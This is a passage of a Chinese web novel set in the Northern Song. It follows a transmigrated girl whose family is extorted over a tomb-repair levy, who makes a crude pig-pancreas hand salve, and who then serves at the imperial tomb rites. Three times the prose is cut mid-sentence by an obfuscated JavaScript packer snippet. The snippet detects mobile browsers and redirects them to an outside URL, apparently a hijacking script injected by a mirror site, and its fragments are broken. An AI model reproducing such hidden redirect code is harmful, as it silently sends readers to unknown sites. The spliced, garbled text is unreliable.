家里出了个绣艺坊的大才女，入选了备用绣娘，主家心善，连饭食都包了，天天有人送饭上门，省了家里多少嚼用。这前程似锦的，怎么连为皇陵尽点心力的募捐都舍不得掏？ 啧啧，莫非是看不起宗室贵人，还是觉得给官家修陵，辱没了你唐秀才的清名？” 他故意扯上看不起宗室和不敬官家的大逆罪名，字字诛心，恶毒无比。 唐守仁气得脸色发青：“钱贵休得胡言，此等摊派分明是盘剥小民，我唐守仁虽人轻言微，却也不惧据理力争。” “争？你跟谁争？跟知县争？还是跟宗室贵人争？”钱贵嗤笑一声，脸上横肉堆起，显得愈发凶狠，“唐守仁，你清高，你有骨气。你不交是吧？行。这钱，按规矩，里正替你垫上。 可魏老蔫家什么光景，你我都清楚。他垫得起吗？垫不起。按我大宋律例，里正无力垫付，又催缴不力，便由里正和欠缴户主，一同承担衙前役。 押运修缮神道所需的石炭正缺人手，百十里山路，烟尘漫天，一趟下来，壮汉都得脱层皮。你这小身板，还有魏老蔫这把老骨头，经得起几趟折腾？半道上交代了，正好给皇陵添点人牲。” 唐守仁浑身剧震，脸色瞬间变得惨白。钱贵说的没错，押运石炭是有名的死役。他要借刀杀人，把他们往死路上逼。 魏老蔫吓得腿一软，差点瘫倒在地，老泪纵横：“唐秀才，救命啊，我家里还有婆娘和几个娃儿要养活啊。” 唐守礼脸上堆起油滑笑容，凑到钱贵跟前，点头哈腰地套近乎： “钱头儿消消火，都是老街坊了，和气生财嘛。您看这事儿能不能通融通融？两贯也够了。小的跟县衙的张押司，可是过命的交情，您看在他的金面上，抬抬手？” 钱贵像拍苍蝇一样，把唐守礼一掌拍开：“张押司？哪个张押司？你说下个月就要夹着尾巴滚去邻县管河沟的张麻子？他自己都泥菩萨过河，管得了你这摊烂事。唐老三，少在这儿攀扯你那没影儿的交情。再废话，连你也要交。” 唐守礼脸上的笑容瞬间冻僵，他最大的依仗，平日里吹嘘的衙门关系，竟如此不堪一击。在钱贵鄙夷的目光和狱卒们毫不掩饰的嗤笑声中，他灰溜溜缩到墙角，像个被戳破的皮球，再不敢吭半声。 钱贵还不罢休，目光落到溪娘的肚子上，故意大声笑道：“这募捐，是按户按丁，看的是家底厚薄。 唐秀才家缺人口，要是溪娘子肚子里的小崽子马上给我哇一声落地，喘上气了。那好说，按人头摊派，减半就减半。两贯，我钱贵做主收了。 可要是他赖在娘肚子里不肯出来嘛，那就算不了数，五贯一文不能少。里正，你说是不是这个理儿？” 钱贵笑够了，脸色猛地一沉，如同阎王变脸，凶光毕露地盯着唐守仁：“唐守仁，少废话，交钱还是跟魏里正一起去西山拉炭车，选！” 巨大的压力如同山岳般压来。 唐守仁看着魏老蔫绝望哀求的眼神，再想想可怕的衙前役，悲愤夹杂无力感涌上心头。为了妻儿，为了刚见起色的家，为了无辜被牵连的魏里正，他别无选择。 “爹不能给。”唐照环再也忍不住，小小的身子挤到前面，仰头怒视钱贵，眼中喷火，“今日捐路，明日捐庙，修桥补路要捐，龙王打醮要捐。这募捐就是个无底洞，填不满的。给了这次，下次他还能变着法儿来要，咱们家哪还有活路。” “环儿住口。差爷息怒，小女无知，求差爷开恩。”溪娘吓得魂飞魄散，一把将女儿死死拽回怀里，捂住她的嘴，眼泪如同断了线的珠子滚落下来，“相公认了吧，民不与官斗，秀才顶不过官差锁链。认了，就当破财消灾。” 唐守仁挺直的脊梁被无形的重锤砸弯，他闭了闭眼，再睁开时，只剩下认命的灰败和刻骨的屈辱。 他脚步沉重地走回屋内，捧着一个裹得严严实实的旧布包走了出来。 他一层层打开布包，里面是码放整齐的五贯铜钱，是他和溪娘省吃俭用的全部积蓄。 “家里就剩这些了。”唐守仁的声音干涩嘶哑，将钱递向魏里正。 魏里正如蒙大赦，抢过去紧紧抱在怀里，连声道：“够了够了。唐秀才，大恩不言谢，大恩不言谢啊。” 他生怕钱贵再要生事，抱上钱带上儿子，连滚带爬地逃离了这是非之地。 钱贵嘴角咧开一个极其残忍的满意笑容，慢悠悠地踱步上前，故意用穿着牛皮靴的脚，碾了碾地上掉落的一枚铜钱。 “唐秀才，这就对了嘛，你们读书人不都说，识时务者为俊杰。”他如猫戏老鼠般戏谑道，“五贯钱，买你一家老小平安，买魏老蔫一条老命，太值了。 不过嘛，好日子还在后头呢，咱们来日方长。哈哈哈！” 他发出一阵嚣张至极的大笑，带着爪牙扬长而去。 那枚被踩扁的铜钱，孤零零地躺在尘土里，映着唐守仁失魂落魄的脸，溪娘无声的抽泣，琼姐惊恐无助的眼神，以及唐照环那死死攥紧，指甲深深陷入掌心的小拳头。 大娘坐在门槛上，终于忍不住懊悔，小声嘀咕：“早知道还不如应了李大官人，好歹落下几十贯聘礼，钱也少交点，哪像现在，鸡飞蛋打，一文不剩。” 这话像根刺，扎在每个人心上。 唐守仁蹲在墙角，背影充满了痛苦和自责。 良久，他抬起头，看向唐照环，眼中满是愧疚道：“环儿，对不住你了。听说别家小娘子为了劈线考校，昨日都去买香喷喷的桂花油膏和羊脂膏护手。爹原想着，就算买不起那些金贵物事，好歹下午去割块肥肉，熬出猪油给你抹抹手。如今连这点都……” 他说不下去，无力地叹了口气。 溪娘挺着肚子柔声道：“相公莫说这些。咱们人还在，手脚还能动，不缺指望。我这里还有几块素净的好料子边角，针线也还够用。我今晚熬一熬，赶工绣几个香囊，明日一早拿去市坊寻识货的货郎，总能换几个钱，买块小肥肉应急。” 琼姐主动请缨： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202178|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “婶婶说得是，算上我一个，我也有几块好料子，一起绣。” “慢着。” 唐照环清脆的声音响起。她站起身，小脸上不见悲戚，反而闪烁异乎寻常的亮光，像黑夜里的星子。 “娘，琼姐，买油膏熬猪油的钱，咱家眼下确实没有，但谁说护手非得花大钱。” 她走到灶间，指着角落里一个破瓦盆：“娘，每日的淘米水，您是不是都倒这儿了？” 溪娘不解：“是啊，留着浇菜或是喂鸡鸭都行，怎么了？” “借我用用。”唐照环语速飞快，思路清晰，“姐姐，劳烦你去找三叔，让他领着去肉铺低价赊点猪胰脏回来，就说咱们喂猫。猪胰脏腥臭，处理困难，肉铺多半愿意，他定能弄到。” 琼姐虽不明所以，但对她有近乎盲目的信任，立刻点头去了。 唐照环进屋，翻出件穿了很久，补丁叠补丁，洗得薄软的旧衣，递给溪娘：“娘，劳您用这个，给我和琼姐缝两副手套，手指头要分开的，能套进去就行，针脚细密些，我俩睡觉时戴。” 溪娘和唐守仁都愣住了，完全跟不上小女儿的奇思妙想。 唐照环也不多解释，只道：“爹，娘，你们信我。这法子是我在绣艺坊，听一个南边来的老工匠私下里提过一嘴的土方子，说是官造工坊早年没那些花哨油膏时，老绣娘们用的笨办法。咱们试试，总比干等着手糙了强。” 她心中暗道，淘米水富含维生素B群，能软化角质，保湿肌肤，SKII的Pitera半乳糖酵母样菌发酵滤液就是这么宣传的。 猪胰脏含有天然脂肪酶和蛋白酶，能温和分解老旧角质和油脂污垢，虽说唐代孙思邈的《千金要方》就记载了用猪胰脏制皂的要点，可据她观察，这会儿还没那么普及，更别说用猪胰脏制护手霜了。 把猪胰脏的污血洗净，去掉脂肪的部分用来去角质，撕下来的脂肪加上保湿抗菌的蜂蜜和含花青素抗氧化的桑葚，就是纯天然的滋润霜。夜间厚敷戴上手套，形成封闭环境，促进吸收，白天自由用手，不沾染浪费，别人也闻不到腥气。 成本？近乎为零。 不多时，琼姐果然捧回一小盆腥气扑鼻的猪胰脏。 唐照环指挥若定，琼姐负责将淘米水煮开静置，她清洗猪胰脏，剔除筋膜，溪娘则去主家要了一勺蜂蜜和很多熟透的紫黑桑葚。 夜幕降临，唐家灶房里弥漫一股奇异的混合气味。唐照环将洗净的猪胰脏脂肪、一小勺珍贵蜂蜜和一大把桑葚果肉混合，装在洗净的粗瓷碗底，耐心反复地捣碾捶打。 琼姐和溪娘在一旁看她小小的手握着粗重的石杵，一下，又一下，将那堆腥腻的混合物捣成稠厚的黑膏，膏体触感油润不黏腻。 “成了。”唐照环抹了把额头的汗，将膏体小心地舀进几个琼姐刷洗干净并晾干的小蚌壳里，盖上另一片蚌壳，用细麻绳系紧，“这就是咱们的护手秘宝。” 睡前，姐妹俩用温热的淘米水仔细净手，擦干。唐照环用小竹片挖出厚厚一坨膏体，均匀涂抹在两人双手，尤其是指腹和关节处，一股混合着蜂蜜甜香和桑葚果酸的腥气散开。 涂好厚厚一层，再戴上溪娘赶工缝制的软布手套，将手严严实实包裹起来。 一夜无话。 次日清晨，琼姐醒来，迫不及待地摘下手套。只见双手非但没有想象中的油腻脏污，反而异常柔润，连指腹上因常年做活生出的一点薄茧都似乎软化了些许，摸上去滑溜溜的。 她惊喜地找到唐照环，对方也正看着自己的手，脸上是了然于胸的笑意。 如此这般，姐妹俩白日里依旧正常上学，帮衬家务时格外小心，尽量戴旧布手套或用手帕垫着。夜间则雷打不动地执行秘法，淘米水净手，厚敷自制猪胰膏，戴手套入睡。 几日下来，琼姐的手保养得更加莹润，唐照环那双本就因年幼而细嫩的小手，更如同上好的羊脂白玉般，指腹柔软，指甲圆润，毫无瑕疵。 17.第 17 章 助手入选 五日光阴，转瞬即逝。劈线考校之日，绣艺坊入门班课室里气氛比进阶班选拔时更为紧绷。 所有小娘子都伸出双手，放在案上，等待教习们的审视。 王教习亲自巡视，吴教习紧随其后，目光如同最精密的尺子，掠过一双双或白皙或微黄的手。 许多小娘子家境优渥，十指不沾阳春水，手自然是好的。但仔细看去，指腹因练习针线难免有些许破皮，或因夏日汗渍泛红起皮。更有家境普通些的，指关节处能看出薄茧，指尖也略显粗糙。 行至唐照环桌前，王教习目光落在她摊开在案上的那双手上，脚步不由自主地顿住了。 十指肌肤细腻得看不见毛孔，窗棂透入的天光笼罩其上，映照一层柔润的莹光。指腹饱满柔软，毫无练习针线或做粗活留下的任何薄茧，红痕或粗糙感。指甲修剪得圆润干净，透着健康的粉红。 与钱福妞那虽白嫩，但指腹明显有破皮，指甲缝里还残留丹蔻颜色的手相比，简直云泥之别。 王教习眼中闪过惊艳，她甚至伸出手指，拂过唐照环的手背和指腹，感受温润如玉，毫无滞涩的触感。 王教习探究地问：“唐照环，你这手是如何保养的？” 她对前几日县里发生的事也略有耳闻，在唐家刚捐了募捐，理应更加窘迫的情况下，她本以为唐照环根本无钱保养，更不会呈现如此柔嫩的状态。 唐照环神态恭敬地起身回话：“回教习的话。学生深知此次考校关乎劈线之质，更关乎绣艺坊颜面与贵人差事，不敢令手有半分损毁，唯恐有负所托，可家中清贫，无力购置市售油膏。只得绞尽脑汁，寻些土法笨方，日夜小心养护，不敢懈怠。” 她只字未提具体方法，只将心意表达得淋漓尽致。 这番应对入情入理，既解释了手部状态极佳的原因，又隐晦道出家境艰难依旧恪尽职守的态度，听得王教习连连点头，心中夸赞她是能沉下心做事的苗子。 看出王教习的赞赏，妒火中烧的钱福妞再也按捺不住，猛地站起来，尖声叫道：“教习您别被她骗了！她家穷得叮当响，哪有钱保养手，定是偷了别人的钱去买上好的膏子享乐。如此品德败坏，手脚不干净的人，怎配做助手侍奉贵人。” 这番偷钱指控，如同毒蛇吐信，恶毒至极。 课室里瞬间哗然，无数道目光聚焦在唐照环身上，有怀疑，有惊讶，更有幸灾乐祸。 唐照环脸上不见丝毫慌乱，声音依旧平稳：“教习明鉴。学生家贫，人所共知，且刚被强征修陵募捐五贯，家财尽去，一贫如洗。此事，里正与钱福妞之父钱牢头皆可为证。试问，学生家中现今连买盐钱都需精打细算，何来余钱偷去买动辄上百文的油膏？” “我没说你偷家里的钱，我说的就是你偷别人的钱。”钱福妞脸色微变，立刻抓住漏洞。 唐照环冷笑，从容从怀中掏出一个用麻绳系紧的蚌壳，当着两位教习和满堂小娘子的面，轻轻解开麻绳，打开蚌壳。 蚌壳内装着不堪入目的黑色膏体。不仅如此，一打开盖子，一股混合着甜和酸，难以言喻的腥臭气息飘散至课室每个角落，几个富家小娘子忍不住，皱起眉，拿香帕紧紧捂住了嘴鼻。 “这便是学生所用的护手膏，非金非银购得，乃学生自行费心捣制。成本不过几文，功效自问不输市售之物。若说偷钱买膏享乐。”她看向钱福妞，眼神清澈坦荡，骄傲地说，“福姐家中豪富，用的自然是上等香膏。可曾在哪家脂粉铺子里，见过这等粗陋土膏出售？” 一番话，有理有据，掷地有声。那散架的蚌壳，难闻的气味和里面一看便是手工粗制的黑色膏体，就是最有力的证据。 不仅彻底洗清了偷钱的污蔑，更反衬出她在逆境中自力更生，用心钻研的聪慧与坚韧。 课室里鸦雀无声。钱福妞被问得哑口无言，脸涨得通红，恨不得找个地缝钻进去。 “此膏气味难闻，请各位体谅，我这就收起来。” 唐照环施施然用麻绳将蚌壳重新绑好，放回怀中，课室内那股难言气味才小了许多。 王教习回忆蚌壳里的膏体，再对比唐照环完美无瑕的手，心中激赏万分。此女不仅天赋心性上佳，更有急智，懂变通，能在绝境中另辟蹊径，这份心志和巧思，远非那些只会依靠家世，娇生惯养的富家娘子可比，最适合担任贵人差事。 她立即与吴教习低声言语几句，最终以威严之音宣布：“唐照环心思灵巧，于困境中不忘本分，钻研护手之法，效果卓然，其心可嘉，其行可勉。且应对质疑，条理清晰，不卑不亢，更显品性端方。此次劈线考校，非只看手嫩，更重心诚志坚。唐照环，选为唐照琼助手。” 谁都没想到，王教习竟会将一个用土法制膏的贫家女，选入了明眼人一看就是为了镀金的助手队伍。 这不仅是劈线助手的身份，更代表绣艺坊的认可和期许。 她顿了顿，无视钱福妞不服气的目光，同时朗声宣布其他助手入选名单。 唐照环与其他入选的二人起身，朝两位教习深深一礼：“谢教习信任，学生定不负所托。” 她直起身，目光平静地迎向四面八方射来的复杂视线，心中一片澄澈。 该出发的日子已到，天还未大亮，绣艺坊门前，两辆漆皮斑驳的官车已蒙好了青布，套好了马。拉车的老马喷着粗气，蹄子不耐地刨着地上的尘土。前面则停了四辆坐人的马车，车厢两侧，一边一个，挂上了永安县和绣艺坊的标记木牌。 绣艺坊入选的娘子们陆续到了，个个提着小小的包袱，脸上神色各异。几位资深绣娘和王教习站在一处，低声交谈，神情还算沉稳。那些入选的备用绣娘和助手们，则明显拘谨得多。 琼姐整个人缩在了大娘身后，只露出一双水润却盛满不安的眼睛。 大娘的手指点一辆看起来略齐整些的车，嫌弃地拿脚尖虚虚踢了近处另外一辆老旧官车的轱辘：“你可瞧仔细了，定要上那辆新些的车，近的这辆木头都朽了，跑起来还不把人颠散了架。你可是正经入选的绣娘，比那些个打下手的不晓得金贵多少。听见没，别傻站着，快些过去占个好位置。” 琼姐被她娘推搡着走过去：“晓得了，娘。” 唐照环看着大娘那副护雏的样子，心里倒没起什么波澜。大娘为人刻薄，目光短浅，但至少对琼姐的心实打实。 她自己的小包袱里只有两件换洗衣裳，几块粗饼，还有几个用麻绳捆得严严实实，装着宝贝黑膏的蚌壳。 出门前，溪娘把四人送到家门口，反复叮嘱万事小心，照顾好自己，别冻着饿着。 她的肚子已有九月，越发沉重，这些天能不出门就不让她出门，所以只由爹爹陪着，送两个小娘子和大娘到了这里，然后再赶去县学。 “环儿。” 一个熟悉的声音传来。唐照环循声望去，只见三叔唐守礼急匆匆从街角跑来，不由分说，将两张刚出炉的芝麻饼塞进她手里，入手沉甸甸的。 “拿着路上垫肚子。”唐守礼喘着气，飞快往她手里塞了几个铜板，“喏，这个也拿着，万一有个急用。到了那边机灵点，别光顾着埋头做活，有事多寻王教习。” “谢谢三叔。”唐照环心头一暖，捏紧了手里的东西和那几枚带着体温的铜钱。 三叔没正经收入，以在坊市帮闲为生，经常有了上顿没下顿。跟唐照环家和解后，溪娘不时让他上门一同吃饭，尽管如此，这也几乎是他能拿出的所有了。 绣娘们按序站定，王教习清点完人数，确认到齐。 “都听仔细了。此番差事，非同小可。永厚陵乃帝后安寝之所，祭仪所用，一丝一毫都轻慢不得。到了地方，谨言慎行，只听吩咐，莫问缘由。手脚要快，眼睛要亮，心更要静。若有半分差池，连累的不仅是你自己，更是整个绣艺坊的脸面。” 王教习专门对着几个家境优渥的新绣娘说完了后半部分，威严宣布，“人都齐了，上车。按序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229040|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐好，不得喧哗。” 娘子们鱼贯登车。琼姐低着头，快步走向大娘指的那辆略新的车。唐照环则和其他两个助手一起，自觉走向那辆最显老旧的官车。 车厢里弥漫一股陈年的木头味和尘土味，长条硬板凳磨得溜光，坐上去硌得慌。其他两个小娘子早有准备，拿出厚实的软垫铺在凳子上，衣服袖子里藏了熏香，闻不到难闻气味，只有唐照环用人肉硬抗。 车子一动，木头榫卯发出不堪重负的呻吟，整个车厢跟着摇晃起来。 车队驶出县城，踏上通往永厚陵的官道，摇晃颠簸陡然加剧。车轮碾过坑洼，车身猛地一沉，又重重弹起，车里的人顿时东倒西歪，惊呼连连。 “哎哟，我的腰，骨头都要颠碎了。” “这破车，王教习就不能让车队慢些吗？” 唐照环紧紧抓住身下的板凳边缘，努力稳住身体。每一次剧烈的颠簸都让她屁股离座，胃里也跟着翻搅。她旁边的小娘子用一方熏了香的帕子死死捂住口鼻，眉头拧成了疙瘩，显然被折磨得不轻。 车子吱呀前行，卷起漫天黄尘。前后左右，有骑着高头大马的禁军拱卫车队。 唐照环闭上眼，现代平稳如飞的高铁，舒适凉快的轿车在脑海里一闪而过，随即又被这北宋官道的现实砸得粉碎。她强迫自己忽略身体的不适，将思绪转到即将面对的差事上。 二十里的路竟也走了将近一个时辰。当天色大亮时，车队终于抵达了目的地。 眼前的景象庄严肃穆，巨大的神道两旁，石像生沉默地矗立，层叠的宫殿依山而建，青灰色的殿顶充满压迫感，让初到此地的人不由自主地屏住了呼吸，连说话声都自觉压到了最低。 车队被引至陵区西侧一片低矮的附属宫殿群，此处专供前来服务的各色人等临时居住。 备用绣娘和各自的助手被安排在一间偏殿，内部比唐照环家还简陋几分，大通铺占据了大部分空间，角落里堆放些杂乱器具，空气中飘散淡淡的霉味，明显久未打扫。 王教习的声音从外面传来，能听出赶路的疲惫，却依旧清晰有力：“所有人东西放下，即刻随我去查看祭礼所需绣品布置。手脚麻利些，贵人稍晚就到了。” 一路的颠簸早让娘子们筋疲力尽，此刻只想瘫倒。可王教习发话，众人只得强打精神，草草放下包袱，连口水都顾不上喝，便随王教习，在两名陵区小吏的引导下，匆匆走向上宫的核心区域。 主殿阁外宽敞的广场上，有人正将祭仪所需的各种器物陆续从巨大的木箱中取出，有青铜礼器，香案，灯盏，各色祭服以及需要悬挂在特制木架上的巨大刺绣幡帐。 唐照环一眼就看到了幡帐。那是真正的宫廷御用级别绣品，即使离得远远的，也能感受到其用料之考究，针法之繁复和图案之庄严。 娘子们都被这皇家气象所慑，连走路都放轻了脚步。王教习神情凝重，指挥众人按类分拣，逐件查验。 唐照环跟在琼姐身边，一边学着辨认绣品类别和针法，一边留神观察。她注意到王教习查验得格外仔细，尤其对那些祭服和大幅的幡帐，一寸一寸地捻过绣线，对着光线细看。 琼姐紧张得手都在抖，拿起一块桌围，半晌也看不出名堂。唐照环只得凑过去，低声指点：“姐姐看这锁边针脚，可有跳线？再看这银线，可曾磨损起毛？” 琼姐这才恍然，依言细查，渐渐上手。 王教习这边，正展开一面丈余长的黑白二色幡帐，动作猛地顿住。 她眉头紧锁，俯下身，手指小心翼翼地抚摸幡帐侧下方，那是一条盘旋的五爪龙前爪，五个龙爪尖处以白色珍珠和黑曜石精心缀绣，此刻赫然沾染了片浅褐色的污渍，像是没处理干净的墨渍。 更棘手的是，污渍边缘的绣地丝线，因沾染污物后处理不当，竟有细微的撕裂破损。 龙爪污损撕裂，虽不如在龙睛等处那么要紧，可被贵人乃至被官家做起文章，后果依旧不堪设想。 18.第 18 章 赵燕直 王教习眼尖，一眼瞧见那幡帐上的污损撕裂，心头猛地一跳，慌忙去翻幡帐角落上绫锦院的印记，根据编号急急核对签收和修补簿子。 这一查，冷汗就下来了。簿子写得明白，幡帐三年前制成，上次祭礼用完确认过，可后头既没清洗记录，也没登记修补。 这伤要么是这次送来路上磕碰糟蹋了，要么是上次汴京签收后疏忽没查出来，又或是查出来了也懒怠理会，就这么囫囵堆着一直放到今日。 王教习心念电转，脸色愈发难看。此事牵涉绫锦院，运送的禁军车队，甚至上次负责祭礼监理的检校太监，哪一方都不是她一个绣坊教习能开罪的。 正焦灼间，大门外传来一声尖细的通传：“宗室代表，淄王之孙，主祭驾到——” 原本忙碌的众小吏和内侍，瞬间僵住了动作，齐刷刷地列队躬身垂首，屏住呼吸。 王教习反应极快，低声喝道：“肃静，列队，垂首。” 绣娘们纷纷停下手中动作跟着做，王教习自己也飞快整了整衣襟，垂手肃立，站到队前。 唐照环随着众人低下头，眼角余光忍不住向上瞟去。 只见一位十八九岁，身着锦缎圆领袍的年轻郎君，在一名禁军护卫和一位中年太监的簇拥下，缓步而入。他腰间束着玄色丝绦，未佩刀剑，只在丝绦上悬着一枚质地上乘，雕工精湛的羊脂白玉佩。 他身量颀长，面容俊美，眉眼温润如玉，嘴角噙着一丝若有若无的笑意，令人如沐春风。行走间袍袖微拂，气度雍容闲雅，自有一股生于天家的贵气和从容。 这便是此次前来主祭的宗室代表，赵燕直。 他并不言语，脚步不停，径直走向那些悬挂着的华美幡帐。他的目光一寸寸地掠过那些繁复绣品，四下里静得落针可闻，只闻他衣袂摩擦的窸窣声，以及众人极力屏住的呼吸。 终于，他的脚步停在了一幅幡帐前，正是王教习先前留意到有污渍裂痕的那一幅。 他伸出修长白皙，骨节分明的手，指尖并未触碰绣面，只是悬停在距离那处污渍上方毫厘之处，然后沿着那道细微裂痕的走向，描摹般虚空拂过。 “王教习，”他的声音响了起来，音量不高，甚至称得上平和，音色清朗悦耳，但在王教习耳朵里，如同催命符一般，“这该如何解释？” 赵燕直曾随行祭礼，认得王教习。 王教习身子一抖，深吸一口气，在距离赵燕直五六步处，毫不犹豫地深深跪伏下去，额头硬敲在冰冷的地面。她身后的绣艺坊众人，也呼啦啦跟着跪倒一片。唐照环只觉膝盖骨砸在硬地上，生疼。 “回禀主祭，”王教习的声音极力绷着，“是老奴监管不力，未能及早察验出此等瑕疵。老奴有罪，甘愿领罚。” 她二话不说，把责任死死揽在了自己头上，姿态卑微到了泥土里。 赵燕直并未看她，目光依旧落在那道污痕上，他指尖终于落下，两指捻动裂口边缘的毛糙丝缕，感受裂痕的触感。 “哦？”他轻轻应了一声，尾音微微上扬，玩味地反问。 只这一个字，整个广场的气温骤降了几分，在场内侍和小吏们的头垂得更低了。 赵燕直缓缓转身，目光终于落到了跪伏在地的王教习身上，语气平淡无波。 “王教习言重了。监管不力？听着像是你们绣艺坊接手后才出的纰漏？” 他目光扫过旁边几个面如土色的内侍，微微俯身，声音压得更低，字字如冰珠砸落。 “可我瞧着，这污痕，这撕裂的丝缕边缘，色泽沉旧，与绣面纹路契合已久，怕是去岁祭礼之时，已是这般模样了吧？” 这话如同惊雷，在王教习耳边炸响。 他竟看得如此之透，一语道破了这污损是旧伤，是积弊。 王教习伏在地上的身体绷紧，冷汗唰地浸透了里衣。 她当然知道根子在汴京绫锦院，在运送的禁军，甚至可能是宫里某些人故意留下的烂摊子。但她一个小小的绣艺坊教习，不敢攀咬绫锦院和禁军，更不敢指摘宫里内侍。她若顺着赵燕直的话承认是旧伤，岂不是当场打其他人的脸，日后还有她的活路吗？ 可若否认，眼前这位笑意清雅，心思却深沉的宗室主祭，分明已洞悉真相，绝不会善罢甘休。他那看似温和的问话里，字字都藏着锋刃。 电光火石间，王教习脑中已转过千百个念头，最终只能将额头死死抵住冰冷的石板，声音惶恐破碎： “主祭明察秋毫，老奴接手查验时，确，确有疏漏，未能尽察其细微处。老奴技艺粗陋，不堪大任，有负主祭重托，万死难辞其咎！” 她避开了旧伤新伤的关键，将责任死死框在查验疏漏和技艺粗陋上，话语模棱两可，只卑微认罪自贬，绝不敢点明源头。 赵燕直静静听着，眼中柔润的光泽彻底冷了下去：“查验不周？王教习，你可知，幡帐有瑕，于祭礼而言，是何等大不敬之事。若官家问起，或被有心人参上一本，道祭仪敷衍，亵渎先帝英灵。这干系，是你一个绣艺坊教习担得起的么？” 王教习被沉甸甸的大不敬压得喘不过气，汗如雨下。 赵燕直语气陡然转冷：“再问你一遍。这污损撕裂，是何时、何地、因何而生？是绫锦院有意隐瞒，亦或是运送途中，有人玩忽职守？” 他目光如电，扫过身边垂首肃立的太监，那人脸色微变，不敢抬头。 非要逼她指证。王教习心中叫苦不迭。无论指证哪一方，她都必将得罪一方，甚至同时得罪三方。说绫锦院，开罪京师衙门，若说是运送之责，开罪禁军，只要她不认下来，检校太监总逃不脱干系。 “老奴实在惶恐。” 王教习头埋得更低，用哭腔语无伦次说了一长串话，只反复强调各处签收时“灯下昏昧一时疏漏”，存放时“小心洒扫不敢懈怠”，将责任模糊在时间久远和偶然意外上，依旧不敢点明任何一方。 赵燕直非要点破：“是天降污秽？还是说，此物本就不祥？” “老奴不敢！” 王教习吓得魂飞魄散，连连叩首，“是小人们疏忽，是小人们未能及早发现，请主祭责罚！” 赵燕直盯着她看了半晌，心中闪过失望与了然。此妇人油滑，终究不敢说出他想听的话。 但他也并非一无所获。灯下疏漏，存放日久，这些模棱两可的词语，已足够他日后在某些场合作为引子，撬动一二。只是眼前这烂摊子，终究需要人来收拾立威，需要有人担责。 赵燕直声音恢复了温润，仿佛方才雷霆从未发生：“既然王教习认了疏漏之责，念在祭礼在即，急需人手。自领十下手板，以儆效尤。就在此处执行，也好让绣艺坊的诸位都看看，祭礼当前，差事是何等紧要，容不得半分懈怠敷衍。” 王教习如蒙大赦，又惊又惧，再次叩首：“谢主祭开恩，谢主祭开恩。” 几个小吏早已战战兢兢地取了乌沉沉的刑杖过来。 沉闷的击打声在肃静的广场上响起，伴随极力压抑的闷哼。王教习咬紧牙关硬挺，冷汗顺着鬓角小溪般淌下，掌心火辣辣钻心地疼，却不敢出声。 唐照环与其他人一同跪着观看王教习受罚，心中念头飞转，这人谦谦君子的表象下，藏着的是步步为营的算计。他分明想借王教习的口，拿到一个名正言顺的由头去追责上面的人。王教习没敢顺他的意攀咬，他拿到的话语，分量太轻了，不足以为凭。这十下板子，是警告，也是泄愤。 行刑完毕，赵燕直不再看她们一眼，仿佛处理了一件微不足道的小事，朝主殿走去，经过太监身边时，淡淡道：“李检校。” “咱家在。”李检校躬身上前，姿态恭谨无比。 “此幡污损，有碍观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229041|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞻。祭礼乃敬奉祖宗之大事，岂容亵渎。”赵燕直吩咐，“即刻安排得力人手，快马加鞭，将此幡送回汴京绫锦院。责令他们，两日之内更换一幅全新的送来，不得有误。” 李检校脸上堆满了谄媚又为难的笑，腰弯得更低了：“主祭息怒，您体恤祖宗，心思纯孝，奴婢们感佩万分。只是一来一回，路途不近，就算快马加鞭，两日也实在仓促了些。再者，这幡帐规制特殊，工艺繁复，绫锦院那边就算日夜赶工，怕也……” 赵燕直停下脚步，目光径直落在李检校脸上：“依李检校之见，该如何？” 李检校赔着万分小心道：“咱家斗胆。您看，这污痕位置可算偏僻，悬挂起来，若非特意近前细看，根本察觉不到，裂痕更是细微如发丝。不如就请绣艺坊的绣娘费心做些遮掩修补，如此既不误吉时，也免了路途奔波，更换不及的风险。待祭礼圆满结束，咱家定亲自将此幡送回绫锦院，重重责问他们。您看……” 赵燕直沉默了很久，才极轻地嗤笑了一声：“呵，李检校倒是会办事。” 他没有说好，也没有说不好，拂袖而去，只留下一个清冷挺拔的背影和一句听不出喜怒的话：“祭礼不容有失，尔等，好自为之。” 李检校对着赵燕直离去的方向，撇了撇嘴，翻了个不屑的白眼。 他转过身，脸上瞬间又恢复了常态，对着还跪在地上的绣娘们挥手，尖声道：“行了，都好生检查，仔细着点。若再出岔子，小心你们的皮。散了散了，该干嘛干嘛去。” 众人这才如蒙大赦，忍着膝盖的疼痛，相互搀扶站起身。 王教习脸色惨白，被两个资深绣娘扶着，脚步虚浮地往偏殿走。 唐照环从后面看到教习的手皮开肉绽，攥紧了怀中的小蚌壳。 